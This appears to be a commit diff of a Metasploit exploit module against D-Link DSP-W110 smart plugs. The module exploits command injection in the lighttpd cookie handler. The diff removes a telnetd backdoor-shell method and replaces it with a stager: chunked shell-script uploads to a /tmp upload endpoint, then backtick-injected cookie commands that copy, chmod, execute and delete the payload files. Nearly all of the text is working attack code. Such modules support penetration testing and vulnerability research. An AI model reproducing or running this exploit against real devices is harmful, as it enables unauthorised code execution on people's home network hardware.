@@ -9,13 +9,14 @@ class Metasploit3 < Msf::Exploit::Remote
9
9
Rank = NormalRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
+ include Msf ::Exploit ::CmdStager
12
13
13
14
def initialize ( info = { } )
14
15
super ( update_info ( info ,
15
16
'Name' => 'D-Link Cookie Command Execution' ,
16
17
'Description' => %q{
17
- This module exploits an anonymous remote code execution vulnerability on different D-Link
18
- devices. The vulnerability is a command injection in the cookie handling process of the
18
+ This module exploits an anonymous remote upload and code execution vulnerability on different
19
+ D-Link devices. The vulnerability is a command injection in the cookie handling process of the
19
20
lighttpd web server when handling specially crafted cookie values. This module has been
20
21
successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment and on the real
21
22
device.
@@ -32,37 +33,27 @@ def initialize(info = {})
32
33
[ 'URL' , 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110' ] # blog post including PoC
33
34
] ,
34
35
'DisclosureDate' => 'Jun 12 2015' ,
35
- 'Platform' => 'unix' ,
36
- 'Arch' => ARCH_CMD ,
37
- 'Payload' =>
36
+ 'Payload' =>
38
37
{
39
- 'Compat' => {
40
- 'PayloadType' => 'cmd_interact' ,
41
- 'ConnectionType' => 'find' ,
42
- } ,
38
+ 'DisableNops' => true
43
39
} ,
44
- 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' } ,
45
40
'Targets' =>
46
41
[
47
- [ 'Automatic' , { } ]
42
+ [ 'MIPS Little Endian' ,
43
+ {
44
+ 'Platform' => 'linux' ,
45
+ 'Arch' => ARCH_MIPSLE
46
+ }
47
+ ] ,
48
+ [ 'MIPS Big Endian' , # unknown if there are BE devices out there ... but in case we have a target
49
+ {
50
+ 'Platform' => 'linux' ,
51
+ 'Arch' => ARCH_MIPSBE
52
+ }
53
+ ] ,
48
54
] ,
49
- 'DefaultTarget' => 0
55
+ 'DefaultTarget' => 1
50
56
) )
51
-
52
- register_advanced_options (
53
- [
54
- OptInt . new ( 'TelnetTimeout' , [ true , 'The number of seconds to wait for a reply from a Telnet command' , 10 ] ) ,
55
- OptInt . new ( 'TelnetBannerTimeout' , [ true , 'The number of seconds to wait for the initial banner' , 25 ] )
56
- ] , self . class )
57
-
58
- end
59
-
60
- def tel_timeout
61
- ( datastore [ 'TelnetTimeout' ] || 10 ) . to_i
62
- end
63
-
64
- def banner_timeout
65
- ( datastore [ 'TelnetBannerTimeout' ] || 25 ) . to_i
66
57
end
67
58
68
59
def check
@@ -89,64 +80,66 @@ def exploit
89
80
fail_with ( Failure ::Unknown , "#{ peer } - Failed to access the vulnerable device" )
90
81
end
91
82
92
- print_status ( "#{ peer } - Exploiting..." )
93
-
94
- cmd = "telnetd -l/bin/sh"
95
- execute_command ( cmd )
96
- telnetport = 23
97
- handle_telnet ( telnetport )
83
+ print_status ( "#{ peer } - Uploading stager ..." )
84
+ @counter = 1
85
+ execute_cmdstager (
86
+ :flavor => :echo ,
87
+ :linemax => 99 #limited by our upload, larger payloads crash the web server
88
+ )
89
+
90
+ print_status ( "#{ peer } - creating payload and executing it ..." )
91
+
92
+ ( 1 .. @counter ) . each do |act_file |
93
+ #the http server blocks access to our files ... we copy it to a new one
94
+ #the length of our command is restricted to 19 characters
95
+ cmd = "cp /t*/#{ act_file } /tmp/#{ act_file +@counter } "
96
+ execute_final_command ( cmd )
97
+ cmd = "chmod +x /tmp/#{ act_file +@counter } "
98
+ execute_final_command ( cmd )
99
+ cmd = "/tmp/#{ act_file +@counter } "
100
+ execute_final_command ( cmd )
101
+ cmd = "rm /tmp/#{ act_file } "
102
+ execute_final_command ( cmd )
103
+ cmd = "rm /tmp/#{ act_file +@counter } "
104
+ execute_final_command ( cmd )
105
+ end
98
106
end
99
107
100
- def handle_telnet ( telnetport )
108
+ def execute_command ( cmd , opts )
109
+ #upload our stager to a shell script
110
+ #upload takes quite long because there is no response from the web server
101
111
102
- sock = Rex ::Socket . create_tcp ( { 'PeerHost' => rhost , 'PeerPort' => telnetport . to_i } )
112
+ data_cmd = "------------------------------9bcdb049f0d2\r \n "
113
+ data_cmd << "Content-Disposition: form-data; name=\" name\" ; filename=\" #{ @counter } \" \r \n "
114
+ data_cmd << "Content-Type: application/octet-stream\r \n \r \n "
115
+ data_cmd << "#!/bin/sh\n "
116
+ data_cmd << cmd
117
+ data_cmd << "\n ------------------------------9bcdb049f0d2--"
103
118
104
- if sock
105
- print_good ( "#{ peer } - Backdoor service spawned" )
106
- add_socket ( sock )
107
- else
108
- fail_with ( Failure ::Unreachable , "#{ peer } - Backdoor service not spawned" )
109
- end
119
+ @counter = @counter + 1
110
120
111
- print_status ( "#{ peer } - Trying to establish a telnet session..." )
112
- prompt = negotiate_telnet ( sock )
113
- if prompt . nil?
114
- sock . close
115
- fail_with ( Failure ::Unknown , "#{ peer } - Unable to establish a telnet session" )
116
- else
117
- print_good ( "#{ peer } - Telnet session successfully established..." )
121
+ begin
122
+ send_request_cgi ( {
123
+ 'method' => 'POST' ,
124
+ 'uri' => "/web_cgi.cgi?&request=UploadFile&path=/tmp/" ,
125
+ 'ctype' => "multipart/form-data; boundary=----------------------------9bcdb049f0d2" ,
126
+ 'data' => data_cmd
127
+ } )
128
+ rescue ::Rex ::ConnectionError
129
+ fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
118
130
end
119
131
120
- handler ( sock )
121
132
end
122
133
123
- def execute_command ( cmd )
134
+ def execute_final_command ( cmd )
124
135
begin
125
- res = send_request_cgi ( {
136
+ send_request_cgi ( {
126
137
'method' => 'GET' ,
127
138
'uri' => "/" ,
128
139
'cookie' => "i=`#{ cmd } `"
129
140
} , 5 )
130
- return res
131
141
rescue ::Rex ::ConnectionError
132
142
fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
133
143
end
134
144
end
135
-
136
- # Since there isn't user/password negotiation, just wait until the prompt is there
137
- def negotiate_telnet ( sock )
138
- begin
139
- Timeout . timeout ( banner_timeout ) do
140
- while ( true )
141
- data = sock . get_once ( -1 , tel_timeout )
142
- return nil if not data or data . length == 0
143
- if data =~ /\x23 \x20 $/
144
- return true
145
- end
146
- end
147
- end
148
- rescue ::Timeout ::Error
149
- return nil
150
- end
151
- end
152
145
end
0 commit comments